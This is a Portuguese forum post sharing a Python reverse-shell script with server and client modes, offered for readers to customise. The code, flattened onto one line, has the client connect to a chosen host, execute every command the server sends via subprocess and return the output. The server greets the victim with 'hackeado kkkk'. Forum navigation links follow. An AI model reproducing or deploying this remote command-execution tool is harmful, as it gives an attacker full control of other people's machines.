Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 1.805 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3 import socket import sys import subprocess import threading import tqdm import os import cv2 import numpy as np import pyautogui buffer = 4096 # display screen resolution, get it from your OS settings # define the codec # create the video write object if len(sys.argv) < 2: sys.exit quit() if sys.argv[1] == '-h': print("""[host]:[port] -l = host -p = porta example ./netcatt.py -h 192.168.0.1 -p 2000""") sys.exit() quit() print("""[host] [port]""") a = input('clien, ou server: ') if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) s = socket.socket() if a in 'Ss': s.bind((host,port)) s.listen(5) print(f'listndo {host}:{port}') client_socket, client_adress = s.accept() message = 'hackeado kkkk'.encode() client_socket.send(message) while True: command = input('comando: ') client_socket.send(command.encode()) if command.lower() == "exit": break results = client_socket.recv(buffer).decode() print(results) client_socket.close() s.close if a in 'cC': s.connect((host, port)) message = s.recv(buffer).decode() print('server: ', message) # start sending the file while True: # receive the command from the server command = s.recv(buffer).decode() if command.lower() == "exit": break output = subprocess.getoutput(command) # send the results back to the server s.send(output.encode()) # close client connection s.close() if s.close: print('-'*20, 'fim', '-'*18)
B.S.A.N.S. - Break Security - Automated Network Scanner [PARTE 1]
Shell reverso completo - servidor
Agora temos uma assistente virtual no fórum!!! (247)
Manutenção de sistemas Linux Debian e derivados com apt-get, apt, aptitude e dpkg
Melhorando o tempo de boot do Fedora e outras distribuições
Como instalar as extensões Dash To Dock e Hide Top Bar no Gnome 45/46
Como Atualizar Fedora 39 para 40
Instalar Google Chrome no Debian e derivados
Consertando o erro do Sushi e Wayland no Opensuse Leap 15
Instalar a última versão do PostgreSQL no Lunix mantendo atualizado
Flathub na sua distribuição Linux e comandos básicos de gerenciamento
conflicting values set for option signed-by regarding source (1)
iso de sistema 32 bit em atividade (13)
Agora temos uma assistente virtual no fórum!!! (247)
Como adicionar módulo de saúde da bateria dos notebooks Acer ao kernel... (27)